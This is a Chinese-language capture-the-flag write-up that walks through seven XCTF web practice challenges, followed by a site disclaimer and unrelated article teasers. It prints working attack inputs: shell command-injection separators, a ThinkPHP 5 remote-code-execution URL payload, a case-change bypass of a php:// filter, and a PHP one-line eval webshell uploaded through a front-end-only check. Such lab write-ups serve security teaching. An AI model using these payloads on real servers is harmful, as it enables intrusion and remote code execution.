攻防世界题目练习——Web引导模式(一)

题目目录

    • 1. command_execution
    • 2.xff_referer
    • 3.simple_js
    • 4.php_rce
    • 5.Web_php_include
    • 6.upload1
    • 7. warmup

难度1全部写过了,这个系列里没有
指路:
攻防世界题目练习——Web难度1(一)
攻防世界题目练习——Web难度1(二)

1. command_execution

题目:
小宁写了个ping功能,但没有写waf,X老师告诉她这是非常危险的,你知道为什么吗。
在这里插入图片描述
题目名称是命令执行,想到了命令拼接,但是忘记怎么拼接了,于是查了一下资料:
攻防世界web刷题 新手区 command_execution 详细解!!!超详细
【web安全】——命令执行漏洞(RCE)详解
可以看到,命令拼接符有如下几种:

Windows下:
& A&B 无论A是false还是true,B都执行,即互不影响
&& A&&B 具有短路效果,A是false,B就不执行,有短路效果
| A|B 表示A命令语句的输出,作为B命令语句的输入执行。当A为false的时候将不会执行
|| A||B 表示A命令语句执行失败,然后才执行B命令语句

Linux下:
& 使命令在后台运行。只要在命令后面跟上一个空格和 ‘&’,可以一口气 在后台运行多个命令
&& 同Windows下
|| 同Windows下
; 分号,可以进行多条命令的无关联执行,每一条执行结果互不影响
() 想执行几个命令,则需要用命令分隔符分号隔开每个命令,并使用 圆括号()把所有命令组合起来。
于是我们尝试用;连接两条命令:
在这里插入图片描述
尝试用find命令查看带有"flag"名称的文件:
Linux下查找文件(find、grep命令)
find / -name “flag*”
/ 表示在根目录下
*是通配符
在这里插入图片描述
然后再用cat命令查看
在这里插入图片描述

2.xff_referer

题目:
X老师告诉小宁其实xff和referer是可以伪造的。
参考博客:
CTF/网络安全|攻防世界 xff_referer 解题详析
xff-referer伪造ip地址和域名
姑且理解为:
X-Forwarded-For展示的是访问来源的最终客户端的ip地址
Referer是从某个A网站显示的B网站的链接来访问B网站时,访问B网站的请求包里的Referer就是A网站的域名。
在这里插入图片描述
在这里插入图片描述

3.simple_js

访问网页就弹窗,不是很清楚从何下手,看到题目名称js,想到javascript,就F12想看一下源码,居然真的能看到有用的源码:

	function dechiffre(pass_enc){var pass = "70,65,85,88,32,80,65,83,83,87,79,82,68,32,72,65,72,65";var tab  = pass_enc.split(',');//string.split(separator,limit),字符串或正则表达式,从该参数指定的地方分割 string Object。//从函数体外的最后两行代码可以看到,函数dechiffre的参数pass_enc就是要输入的密码,以','分隔后赋值给了变量tabvar tab2 = pass.split(',');var i,j,k,l=0,m,n,o,p = "";i = 0;j = tab.length;k = j + (l) + (n=0);//j是我们输入的密码的长度//k的初始值k=jn = tab2.length;//n是变量pass的长度,数了一下,是18for(i = (o=0); i < (k = j = n); i++ ){o = tab[i-l];p += String.fromCharCode((o = tab2[i]));if(i == 5)break;}//在0<=i<=5之间,将tab2[i]的值存入p中//没看懂o=tab[i-l]有什么用for(i = (o=0); i < (k = j = n); i++ ){o = tab[i-l];if(i > 5 && i < k-1)p += String.fromCharCode((o = tab2[i]));}//k=j=n,将n赋值给了j//5<i<k-1=n-1=17p += String.fromCharCode(tab2[17]);//tab2[17]=65pass = p;return pass;}String["fromCharCode"](dechiffre("\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30"));
//自始至终,dechiffre()函数的返回值只会是变量pass的初始值h = window.prompt('Enter password');alert( dechiffre(h) );

alert()函数会用一个弹窗显示出函数的参数表示的信息。
参考博客:
JavaScript split() 方法
JavaScript的三种弹出提示框(alert、confirm、prompt)

随便输入错误的密码,看到弹窗如下:
在这里插入图片描述
源码中的变量pass应该就是这一串字符,根据上面的分析,应该无论输入什么都会输出上面这个弹框的提示。
唯一可能存在flag的就是这一串了:

String["fromCharCode"](dechiffre("\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30"));

随便print一下进行ascii码转换,再将获得的字符作为十进制ascii码再次转换:
在这里插入图片描述
参考博客:
[CTF/网络安全] 攻防世界 simple_js 解题详析

4.php_rce

对不起,我浅薄的网安知识让我以为php_rce是指php源码,看了别人的解析才知道是一种漏洞的名称TAT
放一篇参考博客在这里:
[CTF/网络安全] 攻防世界 php_rce 解题详析

PHP RCE 指的是通过远程代码执行漏洞(Remote Code Execution)来攻击 PHP 程序的一种方式。
看了博客才知道,原来是利用ThinkPHP V5的已知漏洞payload的吗?!
(原来是用这种方式解决的吗.jpg)
博客里尝试v5.0.20版本的漏洞payload是可以用的,尝试如下:
URL + /?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cmd命令

ls
在这里插入图片描述
find / -name "*flag*"
在这里插入图片描述
cat /flag
在这里插入图片描述

5.Web_php_include

打开网址后看到显示源码如下:

<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {$page=str_replace("php://", "", $page);
}
include($page);
?>

可以看到,strstr函数会检测参数 $page 中是否包含字符串"php://“,若包含,则用空字符串”“替换掉 $page 中的"php://”。
因此需要绕过strstr函数的检测,同时,我们还需要可执行命令来查找flag文件,在php伪协议中,可以用php://input 在post的请求体中上传可执行命令。
查找资料后发,strstr函数对大小写十分敏感,因此考虑大小写绕过。
在这里插入图片描述
可以看到存在文件 fl4gisisish3r3.php(flagisisishere),于是我们查看该文件:
在这里插入图片描述
更多方式参考博客:
XCTF-攻防世界CTF平台-Web类——4、Web_php_include(php中strstr()函数绕过、数据流协议)
[CTF/网络安全] 攻防世界 Web_php_include 解题详析(php伪协议、data伪协议、file伪协议) - 秋说 - 博客园

6.upload1

查看网页源码,可以看到对上传文件的条件检测:
在这里插入图片描述
如图,check()函数会将/^.+\./替换为空字符串'',并会检测名称是否包含jpg或png。
这题真的比我想得简单多了,居然最普通的一句话木马文件上传就可以,一句话木马:
<?php @eval($_POST[1]);?>
然后就是BurpSuite修改文件后缀,把jpg/png修改为php
没有很多过滤,直接上传成功,还直接显示了上传文件的路径,感觉我前面看源码想复杂了,不知道那个replace函数的替换起到了什么作用:
(又去搜了搜别人的解析思考了一下,这个replace应该并不是针对文件后缀的过滤吧,可能只是为了便于数据处理而进行的替换,并不是对上传的文件名的限制)
真正的检验应该只有后面判断是否为jpg/png文件,而且这个属于前端校验,就是只在前端上传页面进行检测,就算检测不通过文件也会被存储,只是会在前端将按钮灰掉不让上传,因此也可以通过修改前端代码的方式来取消文件上传后缀的限制。
在这里插入图片描述
接下来用蚁剑连接找文件:
在这里插入图片描述
还是对这些文件存放的位置不够熟悉,只知道很多在根目录下,还是看了博客才知道很多也经常放在www目录下。
参考博客:
XCTF-攻防世界CTF平台-Web类——11、upload1(文件上传、前端校验)

7. warmup

打开网址一直转圈,于是用BurpSuite抓包查看response,如下:
在这里插入图片描述
看到了右边的响应中出现了一个 source.php 文件名,于是又用御剑扫描了一下目录:
在这里插入图片描述
查看了source.php,没看到和flag相关的信息,又查看hint.php,发现提示:
在这里插入图片描述
回过头来再仔细分析source.php的内容,如下:

 <?phphighlight_file(__FILE__);class emmm{public static function checkFile(&$page){$whitelist = ["source"=>"source.php","hint"=>"hint.php"];//设置了一个白名单,只允许访问source.php和hint.php两个文件,下面看一下做了哪些检验if (! isset($page) || !is_string($page)) {echo "you can't see it";return false;}//第1次检验if (in_array($page, $whitelist)) {return true;}//第2次检验$_page = mb_substr($page,0,mb_strpos($page . '?', '?'));//mb_substr(str,start,length)函数从str的start位置开始返回length长度的字符串//mb_strpos(haystack,needle,offset)函数返回 string 的 haystack 中 needle 首次出现位置的数值,offset是搜索位置的偏移,没有提供的话则默认为0。//故,该函数的含义是://返回$page参数中直到第一次出现?之前的字符串(因为是从0开始数)作为$_pageif (in_array($_page, $whitelist)) {return true;}//然后检测$_page是否在白名单中//第3次检验//如果不在,则:$_page = urldecode($page);//将$page进行url解码后再进行上述判断$_page = mb_substr($_page,0,mb_strpos($_page . '?', '?'));if (in_array($_page, $whitelist)) {return true;}//对$_page进行一次截断后再判断白名单echo "you can't see it";return false;}}if (! empty($_REQUEST['file'])&& is_string($_REQUEST['file'])&& emmm::checkFile($_REQUEST['file'])) {include $_REQUEST['file'];exit;} else {echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";}  
?> 

参考博客:
PHP mb_substr() 函数 | 菜鸟教程
PHP: mb_strpos - Manual
在上面的源码中,可以看到一共进行了3次检验:
第1次是直接将整个路径进行白名单匹配;
第2次是将?前的内容进行匹配;
第3次是进行url解码后再匹配;
总的来说就是,只要我们构造的file参数的内容能够满足这3次检验中的一次,并且要访问到文件ffffllllaaaagggg。
我们并不知道ffffllllaaaagggg的准确的路径,需要通过足够多的…/构造的相对路径来访问这个文件。
其实并不是很清楚具体原理,这个又好像属于猜测路径。
在这里插入图片描述
如果要构造满足第3次检验的url,则需要对?进行两次url编码,因为路径在通过url上传时浏览器本身就会自己进行一次url解码,而第3次检验又需要进行一次url解码,因此需要编码两次。

参考博客:
攻防世界-web高手进阶篇-warmup

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/154135.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【力扣2011】执行操作后的变量值

&#x1f451;专栏内容&#xff1a;力扣刷题⛪个人主页&#xff1a;子夜的星的主页&#x1f495;座右铭&#xff1a;前路未远&#xff0c;步履不停 目录 一、题目描述二、题目分析 一、题目描述 题目链接&#xff1a;执行操作后的变量值 存在一种仅支持 4 种操作和 1 个变量 …

Python 无废话-办公自动化Excel格式美化

设置字体 在使用openpyxl 处理excel 设置格式&#xff0c;需要导入Font类&#xff0c;设置Font初始化参数&#xff0c;常见参数如下&#xff1a; 关键字参数 数据类型 描述 name 字符串 字体名称&#xff0c;如Calibri或Times New Roman size 整型 大小点数 bold …

mysql面试题34:Hash索引和B+树区别是什么?在设计索引怎么选择?

该文章专注于面试,面试只要回答关键点即可,不需要对框架有非常深入的回答,如果你想应付面试,是足够了,抓住关键点 面试官:Hash索引和B+树区别是什么?在设计索引怎么选择? 在MySQL中,Hash索引和B+树索引是两种常见的索引类型,他们有以下区别: 数据结构:Hash索引:…

【小沐学Python】Python实现Web图表功能(Dash)

文章目录 1、简介2、安装3、功能示例3.1 Hello World3.2 连接到数据3.3 可视化数据3.4 控件和回调3.5 设置应用的样式3.5.1 HTML and CSS3.5.2 Dash Design Kit (DDK)3.5.3 Dash Bootstrap Components3.5.4 Dash Mantine Components 4、更多示例4.1 Basic Dashboard4.2 Using C…

从0开始学go第六天

方法一&#xff1a;gin获取querystring参数 package main//querystring import ("net/http""github.com/gin-gonic/gin" )func main() {r : gin.Default()r.GET("/web", func(c *gin.Context) {//获取浏览器那边发请求携带的query String参数//…

基于 Mtcnn(人脸检测)+Hopenet(姿态检测)+拉普拉斯算子(模糊度检测) 的人脸检测服务

写在前面 工作原因&#xff0c;顺便整理博文内容为一个 人脸检测服务分享以打包 Docker 镜像&#xff0c;可以直接使用服务目前支持 http 方式该检测器主要适用低质量人脸图片处理理解不足小伙伴帮忙指正&#xff0c;多交流&#xff0c;相互学习 对每个人而言&#xff0c;真正的…

【Python】WebUI自动化—Selenium的下载和安装、基本用法、项目实战(16)

文章目录 一.介绍二.下载安装selenium三.安装浏览器驱动四.QuickStart—自动访问百度五.Selenium基本用法1.定位节点1.1.单个元素定位1.2.多个元素定位 2.控制浏览器2.1.设置浏览器窗口大小、位置2.2.浏览器前进、刷新、后退、关闭3.3.等待3.4.Frame3.5.多窗口3.6.元素定位不到…

为Yolov7环境安装Cuba匹配的Pytorch

1. 查看Cuba版本 方法一 nvidia-smi 找到CUDA Version 方法二 Nvidia Control Panel > 系统信息 > 组件 > 2. 安装Cuba匹配版本的PyTorch https://pytorch.org/get-started/locally/这里使用conda安装 conda install pytorch torchvision torchaudio pytorch-cu…

Oracle笔记-对ROWNUM的一次理解(简单分页)

此博文记录时间&#xff1a;2023-05-05&#xff0c;发到互联网上是2023-10-09 这个在分页里面用得比较多&#xff0c;在MySQL中&#xff0c;通常使用limit去操作&#xff0c;而去感觉比较简单&#xff0c;Oracle中无此关键字。 通过查阅资料后&#xff0c;要实现分页需要用到…

Lab 1: Unix utilities汇总

这个实验主要学习了常用的一些系统调用。 Lab 1: Unix utilities Boot xv6 (easy) git克隆&#xff0c;切换分支&#xff0c;qemu。根据要求进行操作即可。 $ git clone git://g.csail.mit.edu/xv6-labs-2020 $ cd xv6-labs-2020 $ git checkout util $ make qemusleep (ea…

idea将jar包deploy到本地仓库

1、pom.xml文件引入配置&#xff0c;如下参考&#xff1a; <distributionManagement><snapshotRepository><id>maven-snapshots</id><url>http://nexus1.coralglobal.cn/repository/maven-snapshots/</url></snapshotRepository><…

唐老师讲电赛

dc-dc电源布局要点

【C++】:日期类实现

朋友们、伙计们&#xff0c;我们又见面了&#xff0c;本期来给大家解读一下有关Linux的基础知识点&#xff0c;如果看完之后对你有一定的启发&#xff0c;那么请留下你的三连&#xff0c;祝大家心想事成&#xff01; C 语 言 专 栏&#xff1a;C语言&#xff1a;从入门到精通 数…

cesium图标漂移分析与解决

漂移现象如下 什么是图标漂移&#xff1f; 随着视野改变&#xff0c;图标相对于地面发生了相对位置的变化 让人感觉到图标有飘忽不定的感觉 原因分析 图标是静止的&#xff0c;它的位置在世界坐标系中是绝对的、静止的。 漂移大部分的原因是&#xff1a; 透视关系发生了错…

增强LLM:使用搜索引擎缓解大模型幻觉问题

论文题目&#xff1a;FRESHLLMS:REFRESHING LARGE LANGUAGE MODELS WITH SEARCH ENGINE AUGMENTATION 论文地址&#xff1a;https://arxiv.org/pdf/2310.03214.pdf 论文由Google、University of Massachusetts Amherst、OpenAI联合发布。 大部分大语言模型只会训练一次&#…

gin 框架的 JSON Render

gin 框架的 JSON Render gin 框架默认提供了很多的渲染器&#xff0c;开箱即用&#xff0c;非常方便&#xff0c;特别是开发 Restful 接口。不过它提供了好多种不同的 JSON Render&#xff0c;那么它们的区别是什么呢&#xff1f; // JSON contains the given interface obje…

三、WebGPU Uniforms

三、WebGPU Uniforms Uniform有点像着色器的全局变量。你可以在执行着色器之前设置它们的值&#xff0c;着色器的每次迭代都会有这些值。你可以在下一次请求GPU执行着色器时将它们设置为其他值。我们将再次从第一篇文章中的三角形示例开始&#xff0c;并对其进行修改以使用一些…

【初识Jmeter】【接口自动化】

jmeter的使用笔记1 Jmeter介绍与下载安装介绍安装配置配置与扩展组件 jmeter的使用基本功能元素登陆请求与提取cookie其他请求接口关联Cookie-响应成功聚合报告查看 Jmeter介绍与下载安装 介绍 jmeter是apache公司基于java开发的一款开源压力测试工具&#xff0c;体积小&…

nio 文件传输

transferto方法一次只能传输2个g的数据 文件大于2个g时

C# Windows 窗体控件中的边距和填充

可以将 Margin 属性、Left、Top、Right、Bottom 的每个方面设置为不同的值&#xff0c;也可以使用 All 属性将它们全部设置为相同的值。 在代码中设置Margin&#xff0c;元素的左边设置为5个单位、上边设置为10个单位、右边设置为15个单位和下边设置为20个单位。 TextBox myT…